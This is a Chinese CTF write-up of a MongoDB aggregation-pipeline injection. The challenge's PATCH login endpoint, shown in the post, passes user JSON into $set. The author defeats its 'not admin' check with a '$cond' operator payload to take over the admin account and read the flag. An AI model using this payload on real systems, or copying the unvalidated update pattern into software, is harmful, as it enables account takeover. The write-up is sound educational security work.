记录一次 MongoDB 的注入

开篇废话

好像半年没碰 CTF 了,找点感觉热热身,只是和以往不同,不是 MySQL 而是更新的东西。
当然 GraphQL 之前也碰过,有兴趣的可以看看:传送门

正文

题目

这是一个关于大学生小华编程奋斗历程的故事。
小华是个热爱编程的大一新生,她对编程课程充满热情。然而当老师布置了基于 MongoDB 的 TODO 网站大作业时,她却感到了前所未有的挑战。
一开始,小华对 MongoDB 的概念有些陌生,她在网上查阅了大量的教程和文档。通过不懈的努力,她逐步掌握了 MongoDB 的基本操作,并开始着手设计网站的整体架构。
小华决定先从设计数据库开始入手。她构思了一个简单但实用的 document schema,将 TODO 任务项目的各种属性如标题、内容、完成状态等进行了细致的规划。在设计过程中,她也意识到了数据安全性的重要性,因此决定采取一些措施来加强网站的安全性。
通过查阅资料,小华了解到可以在 MongoDB 中设置 document validation,从而限制插入和更新数据时必须符合预定义的 schema 结构。这不仅可以确保数据的完整性和一致性,而且还能防止攻击者注入恶意数据。于是,她在自己设计的 TODO document schema 中添加了相应的 validation 规则。
数据库的设计工作完成后,小华开始着手网站前端和后端的开发。虽然过程中遇到了不少困难和挫折,但她都一一克服了,并且渐渐掌握了使用 MongoDB 进行数据存取的技巧。
就在她以为可以顺利完成这个大作业时,一个新的问题突然出现了。在进行功能测试时,她发现从前端发来的某些特殊格式的输入数据,竟然可以逃过 MongoDB 的 document validation 检查,并成功写入数据库。小华意识到这是一个严重的安全隐患,如果网站上线后被攻击者发现并加以利用,那将造成无法挽回的灾难。
经过一番仔细排查,小华终于发现了问题所在。原来是由于她在前端对用户输入数据的过滤不够严格,导致攻击者可以构造出不符合预期格式的数据。她当机立断地对前端代码进行了重构,增加了更为严格的数据验证逻辑。
在确保前后端数据交互的安全性后,小华终于可以放下心中的一块大石,将注意力集中在完善其他功能上了。经过将近一个学期的努力,她终于完成了这个 TODO 网站,在演示答辩时赢得了老师和同学的赞许。
这个大作业不仅锻炼了小华的编程能力,更重要的是让她认识到了网络安全的重要性。她深刻地体会到,要构建一个真正安全可靠的应用系统,不能只停留在单一的技术层面,而必须从架构、设计、实现的各个环节都予以足够的重视。这次宝贵的经历必将成为小华日后在编程道路上持续奋斗的强大动力。
当然,以上都是由 Claude 杜撰的情节,而你的工作则是找出源码中的隐藏问题。

然后给了源码,我们直接来分析一下。

分析源码

源码下载

entrypoint.sh

这里是生成数据库结构以及运行程序的脚本,我们可以看到

db.todos.insertOne({ _id: '$(openssl rand -hex 16)', user: 'admin', title: 'Secretly keep my flag is $FLAG!', completed: false })
db.users.insertOne({ _id: '$(openssl rand -hex 16)', username: 'ctfer', password: 'helloctfer!' })
db.todos.insertOne({ _id: '$(openssl rand -hex 16)', user: 'ctfer', title: 'Try to hack and get the flag', completed: false })

这里故意没有生成 admin 用户,只有 ctfer / helloctfer! ,至少我们可以登录了。

index.ts

这里我们可以看到,基本上所有接口都是这样的套路:

app.get(../api/xxxx', async (c) => {
  const { user } = c.get('jwtPayload')

都是带了用户鉴权并且是 JWT 我们修改不了,而且题目也不是 JWT 的,因此别打 JWT 的主意。
除了一个 patch 请求:

app.patch(../api/login', async (c) => {
  const { user } = c.get('jwtPayload')
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})

这里我们可以大概看到,这是更新用户信息的一个接口,可以拿来更改用户名以及密码。
于是我们就有了一个思路,我们将用户名 ctfer 改成 admin 不就好了?
不过有一个判断存在(不加这个判断就不是数据库注入题了):

  assert.notEqual(newname, 'admin')

因此实际上是失败的:
error-admin

["admin"] 也不行,因为 MongoDB 有类型校验:
error-array-adin

admin 以外的可以正常执行,并且可以使用新账号登录了:
error-admin1

此处更改了用户名的话记得手动登录拿新的 header 里面的 authorization 字段,否则没有数据给你替换也就是后续修改会没有效果。

思路

众所周知, MongoDB 是一个 NoSQL ,这类 NoSQL 要怎么做复杂查询呢?
MongoDB 是在 Object(JSON) 里面塞 $ 开头的东西来做各种奇奇怪怪的查询的,比如说我想使用 or 来查询东西:
mongodb-or

而且这道题也强烈暗示就是类型的问题:

就在她以为可以顺利完成这个大作业时,一个新的问题突然出现了。在进行功能测试时,她发现从前端发来的某些特殊格式的输入数据,竟然可以逃过 MongoDB 的 document validation 检查,并成功写入数据库。小华意识到这是一个严重的安全隐患,如果网站上线后被攻击者发现并加以利用,那将造成无法挽回的灾难。

所以肯定有奇奇怪怪的$的语法糖可以让 {$xxx: {xxxx}}结果最终变成admin
https://www.mongodb.com/docs/manual/reference/operator/aggregation/#std-label-aggregation-expressions

这么多东西,可能有点晕,总之有个判断的语法糖,类似于三元比较?
https://www.mongodb.com/docs/manual/reference/operator/aggregation/cond/#mongodb-expression-exp.-cond

我们尝试一下:
try-3

{
  "username": { $cond: [true, "admin", "admin"] },
  "password": "123456"
}

不是合法 JSON ,加个引号看看:
try-4

{
  "username": { "$cond": [true, "admin", "admin"] },
  "password": "123456"
}

看上去 ok 于是我们就拿到 flag 了~ flag

总结

总之这个告诉我们,程序只依靠 MongoDB 的类型检查是不够的,需要全部再手动检查,不能信任用户输入,否则还是有注入的可能性的。

当然我自己的项目 @pixiv_bot 回过头来是没什么问题了,在程序内就做完了强制类型转换,还是尽量避免这种情况的。

然后就是漏洞和用的语言、数据库、系统没有什么关系,最重要的还是看写的人有没有意识到各种极端情况,大概?